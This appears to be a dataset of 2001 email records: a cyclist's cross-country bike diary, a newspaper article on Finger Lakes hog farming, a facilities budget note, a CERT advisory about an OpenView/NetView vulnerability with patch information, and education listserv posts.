spend most of today working back south again on state road 37. State road 37 follows the shore of Lake Koocanusa, which was created by damming the Kootenai river near Libby, MT. It's a very pretty route, but by flooding the river valley the Army Corps of Engineers made it impossible for it to be a very level route. The road is high up on the hills that used to be above the valley, and every time it crosses a creek (which was formerly a tributary of the river but now feeds the lake) there is a long descent followed by the corresponding ascent afterwards. These are exactly the sort of conditions that amplify differences in strength between cyclists. One often hears novice cyclists say something like ""I can keep up on level ground, but not in the hills"", or more recently all the sports commentators were remarking that Lance Armstrong would have to make up his time defecit during the mountain stages of the Tour de France if he wanted to have a hope of winning. It would almost seem that climing hills is an entirely difference process from running over level ground, perhaps using different muscles or different technique. This is, of course, pure bunk. You can understand why less powerful cyclists can keep up on level ground but not on hills if you can understand freshman physics. First of all, to debunk a popular myth, what matters in determining how fast you can propel a bicycle is not the amount of force you can exert with your legs. You can always choose a lower gear and spin with a higher cadence to get the same power with less force. That is lemma 1, that what determines the speed of the bicycle is the product of force times velocity, i.e. the power, that the cyclist can produce. Now consider the situation on level ground. On level ground, the force that limits your speed is due to wind resistance, which is a force that grows as the velocity squared. The power required to overcome wind resistance is the product of force times velocity and therefore grows proportional to the velocity cubed. Thus the velocity grows as the cube root of the power: a cyclist needs to be eight times more powerful in order to be twice as fast on level ground. The situation on hills is a completely different one. On hills, the force that limits your speed is just your weight (sum of the weights of bicycle, rider and load), which is a constant independent of velocity. Therefore, to go twice as fast on hills, you only need to be twice as powerful (c.f. factor of eight for wind resistance). Thus just from physics you would expect differences in strength to translate into large differences in speed on hills, but small differences in speed on level ground. Notice that this analysis has completely neglected the benefit that less powerful cyclists can get from drafting more powerful cyclists on level ground which I suppose can often make up for most if not all of the difference. Why do I bring this up now? Well, the old man had a bit of a struggle on state road 37, but he persevered valiantly and didn't complain too much. It takes a week or two on the road to really get seasoned, unfortunately I guess he'll be seasoned just about in time for our arrival in Seattle .... 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They want to smell a bouquet of lake breezes and fresh-cut hay. But these days, people sometimes have little choice but to inhale another potent local product: pig manure. ""The only thing I can vaguely compare it to,"" said Mr. DeMarco, who quit his job as a software engineer in Manhattan to move here in 1993, ""is on the worst day of summer — hot and humid — and the worst subway in — pick your borough — and you go down, where the drunk has been vomiting and urinating, and it's stagnating for two weeks. Well, that isn't as bad as the pigs."" In just the last few years, the Finger Lakes, a region best known for its deep waters and bucolic beauty, has become the hog farming capital of New York. But with that distinction has come controversy, touching almost every facet of life here and casting an awkward spotlight on the people most associated with the animals, Mennonite farmers. For some residents, the proliferation of large farms, those with 1,000 or more hogs, has adversely affected the quality of life, the environment, the wine business and the tourism industry. Wine and swine, in other words, do not mix. For others, though, the hog business has helped to resuscitate a stagnant economy and stave off suburban creep. It is simply unfortunate, they say, that some residents — particularly newcomers with lakefront weekend homes — have little appreciation for the rural life or respect for the Mennonites. ""It's a way of life,"" said Lilly Hoover, a 20-year-old Mennonite who works at her family's butcher shop, Shirk Meats, in Dundee. ""People got to realize that pork chops don't grow on trees."" New York's hog farms — the largest of which, in Genesee County, has 6,000 animals — pale in comparison to those in states like Iowa and North Carolina, where farms have up to 50,000 hogs. And over all, hog farming is on the decline in New York, with the number of hogs dropping by 40 percent between 1992 and 1998. But not in the Finger Lakes, which unlike other major hog-raising areas is also a prime vacation spot. Yates, Seneca and Cayuga Counties increased their hog production by 70 percent, and now account for one- third of the state's 60,000 hogs. Given that growth — and recent hog-farm accidents in North Carolina — several Finger Lakes communities have halted or are considering halting the construction of barns used for concentrated animal feeding operations. In Albany, meanwhile, two lawmakers from the New York City suburbs — Assemblyman Richard L. Brodsky, a Westchester Democrat, and Senator Vincent L. Leibell, a Putnam County Republican — are sponsoring legislation that would require farms with more than 200 hogs to get a pollution permit. ""You get one really bad manure spill, and it will be one of those things where everyone will wonder why no one did anything leading up to it,"" Mr. Brodsky said. In New York, as elsewhere, these are not heady times to be an independent farmer, as more families, squeezed by economics, sell their farms to large corporations. But one exception has been Yates County, thanks to the Mennonites, who operate 90 percent of the dairy farms and the three sizable hog farms. ""There's always this undercurrent that farming is now dominated by Mennonites,"" said Judson Reid, an agricultural educator with the Cornell Cooperative Extension in Yates. ""But I think they're essential. They stabilized the economy in this county. There's no doubt about that."" Like their better-known Anabaptist brethren, the Amish, most Mennonites work as farmers, craftsmen or skilled laborers. Most dress simply and send their children to private religious schools. Some travel by horse and buggy; others use cars and trucks, as long as they are dark. The Mennonites began to move to the Finger Lakes region in the 1970's because farmland had become too expensive, and the landscape too commercialized, in Lancaster and other traditional bases in Pennsylvania. Today, there are perhaps 600 Mennonite families in the region, dozens of Mennonite businesses, more than two dozen Mennonite schools and perhaps a dozen Mennonite churches. One Mennonite businessman, Melvin Kurtz, moved here in 1985 from Ephrata, Pa., to establish a division of his family's 107-year-old feed mill, Keystone Mills, in Romulus, N.Y. To complement its production of livestock feed, Keystone Mills buys thousands of hogs and contracts with individual farmers to raise those hogs, which swell to 250 pounds from 60 in three or four months. The farmer provides the labor and the building, which is usually 150 feet long by 50 feet wide, atop a six-foot manure pit. The company provides the feed until the hogs are shipped to Pennsylvania for slaughter. The farmer spreads the manure on his fields, usually once in the spring, once in the fall. The work is far from easy. Many farmers raise the hogs part time, relying heavily on automation, and even those who do it full time say that they can gross only $30,000 in a good year. More than two dozen farms with 1,000 or more hogs now dot the Finger Lakes region, almost half of them run by Mennonite families, said Gerald Swartley, general manager of Keystone Mills. And while ""the last four years have seen more growth than the previous 10 years,"" Mr. Swartley said that he did not forecast any additional growth. To critics, though, what currently exists is already too much. First, there's the stench, which even hog farmers acknowledge is usually worse than, say, cow manure. People say that it forces them to keep their windows shut and prevents them from hanging laundry outside. It also prohibits them from inviting friends over for barbecues and discourages outdoor sports. They have complained of headaches, nausea and respiratory irritation. Some have even fled their homes for a few days to take comfort in the odorless house of a friend or relative. ""It becomes a rather significant psychological stress to have this with regularity,"" said Thomas Bjorkman, a horticulture professor at Cornell and a resident of Varick. ""It's like being inside an outhouse."" Another major concern is the manure's impact on the environment. The lakes are so clean that many people drink the water, untreated. But pig manure contains antibiotics and other chemicals that could eventually contaminate the lakes or the groundwater, said Jack Ossont, a longtime environmental activist who in March helped found FARM Yates, the initials standing for Families Addressing Rural Messes. ""There's nothing I can find in the literature that convinces me that hog feces are less dangerous to human health than human feces,"" said Dr. Stephen I. Rosenfeld, director of the allergy training program at the University of Rochester medical school, who owns a weekend house on Keuka Lake. For the 75 wineries in what bills itself as the second-largest wine- producing region in the country, the issue is a delicate one. The grape growers feel a real kinship with the hog farmers. But they worry about the environmental consequences. And since up to 90 percent of their sales come from walk-in visitors, they fret that tourists, ever fickle, may be repulsed by the odor — and spread the bad news, said Mr. DeMarco of Seneca Shore Wine Cellars. Anne Parker, executive director of the Finger Lakes Wine Country Tourism Marketing Association, agreed. ""You like to think of a wine region as something that's a little bit more upscale, and it's kind of hard to be upscale if the air doesn't smell too good,"" she said. In New York, ""right to farm"" laws are intended to preserve agricultural districts like the Finger Lakes, and many hog farmers here are very opposed to regulations that would limit their livelihood. It would also cost the average hog farmer in the area an extra $25,000 to $30,000 a year to comply with more stringent requirements, said Mark James, executive director of the Finger Lakes office of the New York Farm Bureau, a nonprofit advocacy group. Some hog farmers here have already spent more than $2,000 on food additives in an effort to reduce the odor, and they tell their neighbors in advance when they plan to spread manure. Four years ago, one farmer, Ed Hartman, began inviting neighbors to a pig roast at his Harty Hog Farms in Waterloo, because ""once we can talk to them, they can understand what we do."" Still, Mr. Hartman said he was frustrated by what he called misperceptions about what he does, and he eagerly offered two visitors a tour of his farm. Like other hog farmers, he has groused about animal rights advocates who have criticized the hog farms as inhumane, unsanitary corporate factories, and new residents who have romanticized rural life as odor-free. ""The community is so far removed from what farming is,"" said Stewart Tietjen, a 38-year-old Mennonite farmer in Dundee who began raising 1,000 pigs in February. ""They think farming is like the children's books where you have these red- gabled barns with a few pigs and one cow. Well, you can't survive like that. You need 1,000 pigs to survive."" Until recently, the relationship between the Mennonites and the outside community here was amicable, and sometimes quite close. But hog farming has strained the relationship. While most Mennonites say they cannot fathom why people have been complaining about rural odors in a rural area, hog-farm critics say that the Mennonites have different values, rooted in a not-so-modern world. On a recent languid summer day, for instance, Joan Teichner, a member of the Varick Town Board, listened to the concerns of Virginia Olsowske, who lives a quarter-mile from a Mennonite hog farm, and within a mile of three hog farms. In 1997, Mrs. Teichner, a music teacher, became the first woman elected to the Town Board, after pledging to restrict hog farming. And though Mrs. Olsowske grew up on a dairy farm, she said that pig manure was a different beast altogether, permeating clothes, leaving a lingering taste in one's mouth and ruining many an outdoor activity. ""What's irritating is that we built the home from the ground up, and you can't enjoy it because of them,"" Mrs. Olsowske said, pointing out the window to a nearby Mennonite farm. ""They have no compassion for the neighbors, in my book."" On the other side of Seneca Lake, at dusk, the Colegrove family, of nearby Phelps, were enjoying a lakeshore picnic and swim when they paused to talk hogs. Mark Colegrove, 35, a truck driver, said that he had worked on a hog farm as a teenager. And while he has tremendous respect for the farmers, he also said he cared deeply about the lake that his daughters, Samantha and Jolene, now enjoy. ""It's a half-and-half situation,"" he said. ""I think they ought to limit the size of the farms so it doesn't have an impact on the lake."" His wife, Diane, also 35, did not disagree. But she added that the controversy, at its most basic level, signaled a growing divide between people who have competing visions for the Finger Lakes. ""Sometimes I wonder,"" she said, ""if it's not the farms that smell bad, but the people who think it should smell better."" Copyright 2001 The New York Times Company | Privacy Information ",0,0 Chip Coldwell ,bike-diary@frank.harvard.edu,"Tue, 07 Aug 2001 23:08:00 -0400",Bike Diary #14,"Day 46 Date: Tuesday August 7, 2001 Distance: 97 miles Moving average speed: 12.8 mph Left at 7:45 AM Arrived at 4:45 PM Overnight in Round Lake State Park near Sandpoint, ID Latitude 48 d 9 m 55 s N Longitude 116 d 37 m 58 s W Cumulative distance: 3533 miles We finally got far enough west to get out of Montana, and not a moment too soon in my opinion. State road 200 in Montana, which continues through Idaho under the same name, has a 70 mph speed limit which immediately drops to 55 when you cross the border. It's reassuring to think that they could see you and still have enough time to take apropriate action before you become a hood ornament. I don't think I'll go bicycling in Montana again until they come to their senses. Other than that it was a fairly routine day. Dad more or less manages to keep up, although he complains about every pimple as if he had to climb Everest. In deference to his years and out of a sense of filial piety (after all, he is the man who introduced me to the sport which has become my ruling passion), I've decided to schedule no more than one Cascade Range pass per day until we get to Seattle. As a practical matter, that's about as slow as you can go across and still have a campsite every night, and it puts us into Seattle one week from today on Tuesday August 14. Day 47 Date: Wednesday August 8, 2001 Distance: 83 miles Moving average speed: 13.2 mph Left at 7:30 AM Arrived at 2:30 PM Overnight in Edgewater Campground (USFS) near Ione, WA Latitude 48 d 45 m 15 s N Longitude 117 d 24 m 26 s W Cumulative distance: 3617 miles Another fairly routine day, this one spent following the Pend Oreille river from Sandpoint, ID to Ione, WA. The locals, who by and large haven't wasted any time studying French, pronounce the name of the river ""Ponderoy"". It's been a long time since I wasted alot of my time studying French, so I assume that, like the Nez Perce, the name comes from one given by the French trappers of the 18th century to the indigent native American population in honor of some form of bizarre self-mutilation they practiced. The route follows the east bank of the Pend Oreille river, the opposite side from state road 20, and is very quiet, level and shaded by evergreens. Eastern Washington state is considered ""semi-arid"", or sometimes I have even heard it described as a desert. The notion is that the moist air off the Pacific Ocean on its way west hits the Cascade Range and gets pushed up to a higher, cooler altitude where the water condenses out and falls as rain on western Washington (including Seattle), leaving the rest of the state in a ""rain shadow"". Frankly speaking, desert is not the first word that comes to mind to describe the area around the Pend Oreille River. I've never heard of a desert supporting a thriving logging industry, but the air around Ione, WA is filled with the whine of chainsaws (not to mention the motorboats on the river). Day 48 Date: Thursday August 9, 2001 Distance: 86 miles Moving average speed: Left at 8:15 AM Arrived at 7:40 PM Overnight in Sherman Pass Campground at summit of Sherman Pass Latitude 48 d 36 m 19 s N Longitude 118 d 27 m 49 s W Cumulative distance: 3703 miles I wouldn't normally schedule a 4000 foot ascent at the end of an 85 mile day, but today was proof that there is a kernel of truth to the lately-much-bruited-about notion that information itself has value. Things started out routinely; we even encountered an eastbounder east of Colville, WA. Jim Damico had already ridden the traditional trans-America route from Williamsburg, VA to Astoria, OR, then headed up the coast to Anacortes before turning west again. He was going to ride the Marias Pass route south of Glacier Park, then go north and come back across the park on the Going-to-the-Sun Highway before turning south and heading for Texas. He has a website at http://wanderingtheworld.com/. We crossed the Columbia River near Kettle Falls, WA at an altitude of about 1,300 feet above sea level, then immediately started climbing toward the first big summit in Washington State, Sherman Pass at 5,575 feet. The plan was to go only eight miles and camp below 3,000 feet at the Canyon Creek Campground in the Colville National Forest, then tackle the big climb first thing in the morning. The surprise came when we got to the campground. Generally speaking, about the only thing a cyclist needs from a campground is a place to pitch the tent and a supply of drinking water. As a practical matter, it is impossible to carry enough drinking water to overnight (although some cyclists carry filters so they can drink surface water, I don't). Whenever I get to a campground, I automatically start looking for the spigot. After all, it's much more convenient to camp near the water supply. I rode a circuit around the camp- ground without seeing a spigot, the only thing that might have been identified as a water supply was a curious looking contraption sticking out of the ground in a corner near the entrance. Aside from the fact that it was bone dry, the contraption screamed ""water supply"": a pipe about four inches in diameter sticking out of the ground, with what looked like a drinking fountain on one side and a small box with a spigot and a knob, all made of cast iron. Engraved in the iron below the knob were the words ""lift to fill"". I studied it very briefly, lifted the knob, and got no moisture for my efforts. There was a couple picking berries in the campground, and rather than spend alot of time puzzling the thing out, I figured I would just ask, ""Is there a water supply in this campground?"" No, they said, years ago there was one but it repeatedly vandalized and they were no longer providing any. They could give us about half a gallon that they had in their car, but that was it. It's funny how at times of extreme fatigue the intellect completely fails one. John Krakauer wrote about many such failures brought on by hypoxia and fatigue in ""Into Thin Air"", but I never suspected that I would let the side down so spectacularly myself. I didn't give the curious iron mechanism another thought. My father and I filled our bottles with the half gallon offered, learned that the couple in question were undoubtably an authority on the situation of the campground having camped there themselves many times over the years, and then had to face the question of what to do. We had enough water to summit, but not enough to overnight, so our options were to go back to Kettle Falls, giving up the altitude we had gained with so much effort, or to try to summit tonight and spend the night at another forest service campground there. The risk was that we would run out of daylight before getting there, putting us on an unfamiliar, unlit road with plenty of logging trucks after dark. We decided to go for the summit. I'm about 40% faster than dad on ascents, so I figured the best thing for me to do would be to charge up to the summit, leave my gear at the campground, and then double back light so that I could meet Dad however far up he had got at that point, transfer his load onto my bike and get both of us to the summit as soon as possible. I reached the summit at 7:07 PM with about an hour of daylight left. Imagine my horror when I sought out the water supply in the summit campground and found exactly the same cast iron contraption that had been down below. This time, I was considerably more desperate, since I had no idea how far down my father was and it was a good 18 miles down the other side of the pass to the next town, Republic. Although it would be downhill, it would be dark and therefore not fast. So I had to figure out how that contraption worked. I took a closer look and almost immediately saw that it was a hand-operated pump, but missing the pump handle. You could grab onto the part the pump handle would have moved up and down and with some effort move it up and down without the handle, and praise God water starts flowing. So I quickly unloaded my bicycle and then doubled back down the pass. I found my father about two and a half miles below the summit and offered to take his load. He was fatigued but determined and his pride was still intact, so he refused the offer, and we rode together to the summit getting there at 7:45 PM. There was a notice on a bulletin board in the summit campground from ""Ranger Meredith Webster"" saying that due to increased vandalism and decreased funding as well as an inability to find a private concession, none of the campgrounds in the Kettle Falls Ranger District of Colville National Forest would be providing drinking water anymore. It seems that as a practical matter, the implementation of this policy was to remove all of the pump handles. In the Canyon Creek Campground, near the bottom of the pass, the pump was definitely on a well, because I vividly remember seeing a tag from some Washington State authority identifying it as such. There was no corresponding tag on the summit campground pump, so probably it caps a cistern that has to be periodically refilled. I imagine nobody will be refilling it anymore, but it held enough water for our purposes. However, I suspect that if I had spent less time talking to the couple picking berries and more time puzzling over the mechanism, I would have recognized it as a pump without a handle and if it caps a well not a cistern, then potable water could almost certainly have been coerced from it. As it is, our panic has probably saved us a day getting into Seattle, since we weren't planning to summit Serman Pass until tomorrow. I will send a nastygram to Adventure Cycling notifying them of this change in the services available at these campgrounds. A campground that doesn't provide drinking water doesn't provide much. Day 49 Date: Friday August 10, 2001 Distance: 59 miles Moving average speed: 13.9 mph Left at 8:30 AM Arrived at 3:00 PM Overnight in Red Apple Inn motel in Tonasket, WA Latitude 48 d 42 m 29 s N Longitude 119 d 26 m 15 s W Cumulative distance: 3762 miles The day started out well enough with the exhilerating descent down the west side of Sherman Pass. We parlayed two eastbounders about halfway down: Henry and Hazel Kliner from Warroad, MN who left Seattle on August 4 and are riding to Whitefish. They have been riding the Northern Tier in sections over the past several years. They warned us that there was construction ahead, which was messy but we managed to get through. While I was talking to Henry I noticed yet another mechanical failure: one of the bolts that holds my rear rack to the seatstay was missing and the other was very loose. Fortunately, the map showed a bike shop in Repulic, WA, just a few downhill miles farther along. I have already mentioned how every business in North Dakota and Montana seemed to have an ancillary casino, no matter how improbable the combination might be. In Washington State there is a similar phenomenon, except instead of casinos the ancillary business is a coffee bar: ""A-1 Auto Parts and Espresso"". Therefore I was not too shocked to see a neon ""Espresso"" sign in the window of Eich's Mercantile, which the Adventure Cycling map says is a bike shop. However, upon walking into Eich's, I discovered that the coffee bar was not in fact ancillary to a bike shop, but a violin shop. It seemed highly improbably that Eich's would be carrying any stainless steel socket-head M5 X 16 mm bolts or lock washers, so I walked a few doors down to the hardware store which did, and 42 cents later I had my bike back in its customary perfect working order. Adventure Cycling will receive yet another nastygram from me on the subject of Eich's Mercantile. After leaving Republic, we started the long climb up Wauconda Pass, 4,310 feet above sea level and about 2,000 feet above Republic, WA. I made it to the summit first, and stopped there to wait for the old man. There was a couple on Harleys up there, headed to the Grand Tetons from Omak, WA, the town where I was hoping to end the day. They told me that on account of the Omak Stampede and Suicide Race (a big deal in Omak, believe me) there wasn't a motel room or campsite to be had in the twin cities of Omak and Okanogan. (An aside: before starting his motor, one of the motorcyclists put plugs in his ears. I had to suppress a chuckle. I thought about mentioning that if he put an adequate muffler on his Harley he wouldn't need ear protection, then thought again.) A couple of calls from a payphone in Wauconda to the motels listed on the map confirmed their story. This meant we would either have to summit Loup Loup pass today or stop short in Tonasket. We decided to make it a short day since the laundry was getting kinda stinky and so were we. The campgrounds on the summit of Loup Loup Pass are Forest Service campgrounds which never provide showers (and only occassionally drinking water). Tonasket is in the Okanogan River Valley, which is the first place we've come to that really looks like the desert we were promised in eastern Washington. As you come down from Wauconda Pass, a blast of hot air hits you in the face, and when you reach the bottom you realize why: the temperature in the valley is about 95 degrees. There's very little humidity, which means you are losing water faster than you realize because you don't get sweaty. The valley still has some trees, although they are getting sparse and most of the ground is covered by scrub. Day 50 Date: Saturday August 11, 2001 Distance: 91 miles Moving average speed: 12.3 mph Left at 7:00 AM Arrived at 5:00 PM Overnight in Early Winters Campground (USFS) near Mazama, WA Latitude 48 d 35 m 47 s N Longitude 120 d 26 m 48 s W Cumulative distance: 3853 miles We got an early start in the hopes of getting up out of the Okanogan River valley before the temperatures climbed up to where they were yesterday afternoon. We had 30 miles in the valley before we even started climbing today's pass, Loup Loup Pass (believe it or not) at an elevation of 4,020 feet above sea level and 3,000 feet above the Okanogan River valley. We encountered two late-season eastbounders near Riverside, WA. Bill and Sheila Swanson are riding from Seattle to Toronto via Jasper and the Canadian National Railway (to bridge the long, boring plains). It was a slow, hot climb up Loup Loup Pass despite the early start, and when we got to the other side we were rewarded with yet another desert-like river valley, this time the Methow River valley. I was in favor of crossing the valley this afternoon instead of tomorrow morning since we had a tailwind and I didn't want to climb the next pass during a hot afternoon (the next pass, Washington Pass, is at 5,477 feet above sea level and 3,000 feet above Mazama). The old man complained alot but went along in the end. Tonight's campsite is right next to the Early Winters Creek, not a bad place to soak your feet at the end of a long day. Day 51 Date: Sunday August 12, 2001 Distance: 83 miles Moving average speed: 12.4 mph Left at 8:00 AM Arrived at 5:45 PM Overnight in Rockport State Park near Rockport, WA Latitude 48 d 29 m 27 s N Longitude 121 d 36 m 44 s W Cumulative distance: 3936 miles Today's pass was actually two passes separated by about five miles: Washington Pass at 5,477 feet and Rainy Pass (which fortunately didn't live up to its name) at 4,855 feet. Wouldn't you know it, but on the penultimate day of my tour I finally encountered more westbounders: Dave and Marie Baker left New York City on June 6 and are headed to Anacortes from where they will embark on a tour of the San Juan Islands in Puget Sound. We met them on the way up to Washington Pass, talked for a while, and then went on. I had been hearing about a couple from New York for some time, so it was good to finally put faces and names on that rumor. The North Cascades Highway follows the Skagit River on the west side of Rainy Pass. The Skagit River was dammed three times (Ross, Gorge and Diablo dams) early in the twentieth century by Seattle's municipal power company, Seattle City Light, to provide hydroelectric power for the city. I'm sure there must be a story behind getting the eminent domain to flood those valleys along the lines of the theft of the Owens River by Los Angeles, but I don't know what it is. At any rate, the power company turned the resulting lakes into a recreational area that is very popular with Seattlites. I believe that it is a requirement of all Seattle residents to affect an interest in outdoor activities. Enjoying the outdoors Seattle-style starts with a visit to the REI (Recreational Equipment, Inc) co-op, whose flagship store in Seattle looks more like a theme park than a cooperative. There you load up on Gore-Tex, Tevas and Power Bars, then load it all into the SUV and put the bicycles on the Thule roof-rack and head up to the North Cascades Highway. A tourist inching his way up Washington Pass with nearly four thousand miles under his belt and seventy pounds of gear on his bike can therefore look forward to swarms of roof-rack cyclists from Seattle buzzing past on exotic, lightweight bicycles which wouldn't survive one week of a loaded tour. You must remember to be grateful, for the appearance of roof-rack cyclists is a sure sign that you are getting close to Seattle, and having so many of them around all the time has accustomed the drivers to sharing the road with bicycles. By and large they are friendly, and some will regale you with stories of their glory days of touring long past, but you can't help but think that somehow you have achieved something more by reaching the summit than they have. And you definitely get the impression that they think so too. A digression on the subject of the loaded touring bicycle. One often hears riders of lightweight bicycles rhapsodize about how ""the bicycle feels like an extension of my body"" or that they ""can't tell where I end and the bicycle begins"". It is impossible to become so confused when you are riding a loaded touring bike. The relationship between bicycle and rider is clear: it is a heavily loaded vehicle for which you happen to be both pilot and power supply. You can forget about all your favorite lightweight tricks: jackrabbit starts, panic stops, track stands, sprinting hills, etc. are just impossible or at least certain to rip your knees to shreds. A touring bike winds up slowly and never runs very fast: cyclists who average 18 mph on lightweight joyrides will average 12.5 mph on loaded touring bikes. My riding style is heavily influenced by the many thousands of miles I have spent touring: keep the cadence in the power band between 75-85 rpm and always match impedances to the load, flogging the gearshift as necessary. Standing out of the saddle is a sure sign that you're in too high a gear, so shift down, spin up and remain seated. The day ends with a long gradual downhill along the Skagit river downstream from the dams, following the high tension lines that carry their power to Seattle. We hope to arrive there ourselves tomorrow. Day 52 Date: Monday August 13, 2001 Distance: 100 miles Moving average speed: 14.5 mph Left at 7:30 AM Arrived at 4:00 PM Overnight in Grandma's house, 1456 38th Ave, Seattle, WA Latitude 47 d 36 m 50 s N Longitude 122 d 17 m 5 s W Cumulative distance: 4036 miles Seattle at last! The ending is anticlimactic: there's no brass band nor yellow tape to ride through arms upstretched, just a long spin into town, picking up more and more traffic along the way. It's hard to believe that tomorrow I won't wake up, strike the tent, load the mule and try to make another 85 miles go by before dark. After weighing in, I discovered that I've lost 20 pounds on this ride; I wonder how long that will stay off. Although I've faithfully reported the moving average speeds reported by the bicycle computer, it occurred to me some time ago that the right units for measuring a tourist's average speed are miles per day, not miles per hour. So the final value is 4036 miles in 52 days, or an average speed of 77.6 miles per day. If you exclude the five layover days I took, then the moving average speed is 85.9 miles per day. That's not a record, but I'm not ashamed of it either. It's something of a strange thing to ride a bicycle across America alone in public. I hope that I've managed to convey some idea of what it is like to take a trip like this and give some idea why I love doing it. When world-weariness and wanderlust become too much for him, Ishmael goes a-whaling. As for me, I ride a bicycle. ",0,1 """Souleret, George"" ","""Vineyard, Michael"" , ""Gilfoyle, Gerard"" ","Tue, 14 Aug 2001 07:51:18 -0400",Infrastructure Support for the Computer Upgrade,"I would like to review the proposal(s) given you regarding the UPS system for the computer racks. My preference is that a 3 phase UPS be used to better balance the loads on our transformers and panels. I have a UPS proposal with approximately 30 minutes of battery backup if your vendor has trouble with this. (Approximately $26,250) I have estimated the air-conditioning and power needs based on the rough estimates of heat loads and power usages you gave me. The A/C will be for only the two rooms (servers and personnel) and has the condenser on the roof. These are very rough for now but should be good budgets: $21,000.00 for A/C and 3 phase subfeed panel and wiring in UPS (provided separately), plus roof penetration. As you get closer to a decision, I would like to review the specification sheets to confirm previous loads. ",0,0 CERT Advisory ,cert-advisory@cert.org,"Wed, 15 Aug 2001 14:10:05 -0400",CERT Advisory CA-2001-24," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-24 Vulnerability in OpenView and NetView Original release date: August 15, 2001 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Systems running HP OpenView Network Node Manager (NNM) Version 6.1 on the following platforms: * HP9000 Servers running HP-UX releases 10.20 and 11.00 (only) * Sun Microsystems Solaris releases 2.x * Microsoft Windows NT4.x / Windows 2000 * Systems running Tivoli NetView Versions 5.x and 6.x on the following platforms: * IBM AIX * Sun Microsystems Solaris * Compaq Tru64 Unix * Microsoft Windows NT4.x / Windows 2000 Overview ovactiond is a component of OpenView by Hewlett-Packard Company (HP) and NetView by Tivoli, an IBM Company (Tivoli). These products are used to manage large systems and networks. There is a serious vulnerability in ovactiond that allows intruders to execute arbitrary commands with elevated privileges. This may subsequently lead to an intruder gaining administrative control of a vulnerable machine. I. Description ovactiond is the SNMP trap and event handler for both OpenView and NetView. There is a vulnerability in ovactiond that allows an intruder to execute arbitrary commands by sending a malicious message to the management server. These commands run with the privileges of the ovactiond process, which varies according to the operating system. OpenView version 6.1 is vulnerable in the default configuration. Versions prior to 6.1 are not vulnerable in the default configuration, but there are public reports that versions prior to 6.1 may be vulnerable if users have made customizations to the trapd.conf file. On June 21, 2001, HP released a security bulletin (HP SB #154) and a patch for this vulnerability in OpenView version 6.1. For more information, see http://us-support.external.hp.com/cki/bin/doc.pl/screen=ckiDisplayDocument?docId=200000055277985 http://www.kb.cert.org/vuls/id/952171 Tivoli NetView versions 5.x and 6.x are not vulnerable with the default configuration. It is, however, likely that customized configurations are vulnerable. This security vulnerability only exists if an authorized user configures additional event actions and specifies potentially destructive varbinds (those of type string or opaque). Tivoli has developed a patch for versions 5.x and 6.x. The patch addresses the vulnerability in ovactiond, as well as taking preventative measures on other components specific to NetView. Tivoli has published information on this vulnerability at http://www.tivoli.com/support/ II. Impact An intruder can execute arbitrary commands with the privileges of the ovactiond process. On UNIX systems, ovactiond typically runs as user bin; on Windows systems it typically runs in the Local System security context. On Windows NT systems, this allows an intruder to gain administrative control of the underlying operating system. On UNIX systems, an intruder may be able to leverage bin access to gain root access. Additionally, systems running these products often have trust relationships with other network devices. An intruder who compromises these systems may be able to leverage this trust to compromise other devices on the network or to make changes to the network configuration. III. Solution Apply a patch Appendix A contains information provided by vendors for this advisory. We will update the appendix as we receive more information. If you do not see your vendor's name, the CERT/CC did not hear from that vendor. Please contact your vendor directly. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Apple Mac OS X and Mac OS X Server do not have this vulnerability. Computer Associates Computer Associates has completed a review of all Unicenter functions and processing related to SNMP traps as indicated by the advisory. Unicenter is not subject to the same vulnerabilities as demonstrated by the SNMP trap managers identified by CERT (i.e., OpenView and NetView). CA Unicenter does not formulate commands determined through trap data parsing. Unicenter implements this technology using different methods and thereby avoids this exposure. Computer Associates maintains strong relationships with these vendors and recommends that clients running any environments containing either of these products visit the website URLs specifically identified by the CERT Coordination Center. FreeBSD FreeBSD does not use this code. Fujitsu Regarding VU#952171, Fujitsu's UXP/V operating system is not affected because there's no implementation of any OpenView Technology in UXP/V. Hewlett-Packard On June 21, 2001, HP released a security bulletin (HP SB #154) and a patch for this vulnerability in OpenView version 6.1. For more information, see http://us-support.external.hp.com/cki/bin/doc.pl/screen=ckiDisplayDocument?docId=200000055277985 http://www.kb.cert.org/vuls/id/952171 Microsoft NNM is a third-party application as far as our platform is concerned. We don't have any special relationship with it. HP would need to provide the patches. Tivoli Tivoli acknowledges that certain user customizations to Tivoli NetView may lead to a potential security exposure. Please reference http://www.tivoli.com/support/ for further information and to obtain an e-fix which addresses the issue. References 1. http://us-support.external.hp.com/cki/bin/doc.pl/screen=ckiDisplayDocument?docId=200000055277985 2. http://www.tivoli.com/support/ 3. http://www.securityfocus.com/bid/2845 4. http://www.kb.cert.org/vuls/id/952171 _________________________________________________________________ The CERT Coordination Center thanks Milo G. van der Zee for notifying us about this problem, and Tivoli and Hewlett-Packard for other information used in the construction of this advisory. _________________________________________________________________ Feedback on this document can be directed to the authors, Jason A. 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Please feel free to post messages about lesson-study related announcements, events, resources, and other communications. To post a message, send an email to: LessonStudy@listserv.tc.columbia.edu. However, we ask that you please post only those messages that you feel would be relevant to the lesson study community at large, so that we may avoid crowding email inboxes. Thank you! *Your name was added to this list because you either attended or expressed interest in a lesson-study related event, website, or publication. If you would like to UNSUBSCRIBE from this listserv, please follow the instructions below. Please note that only subscribers may directly post messages to this listserv. **If you have any further questions, you may contact the Lesson Study Research Group of Teachers College, Columbia University at: lsrg@columbia.edu. --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu ",0,0 Jane Gorman ,Lesson Study Listserv ,"Mon, 20 Aug 2001 07:47:10 -0400",Lesson Study in High School Math," My colleagues and I at Education Development Center in Newton, Massachusetts are working on a proposal that would bring lesson study to high school mathematics teachers in the Boston area. We have for the past year been working with one group in Watertown, Mass and have a two more groups starting up this fall. At the present time, I don't know of very many high school settings where there is lesson study work going on, but would like to be in touch with anyone who is doing this work. If you have a high school lesson study group going or are doing research in this area, please contact me. Thanks very much. Jane Gorman Center for Mathematics Education Education Development Center, Inc. 55 Chapel Street Newton, MA 02458 617-618-2807 jgorman@edc.org --- You are currently subscribed to lessonstudy as: jlc101@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-339867X@listserv.tc.columbia.edu ",0,0 Liisa Simon ,Lesson Study Listserv 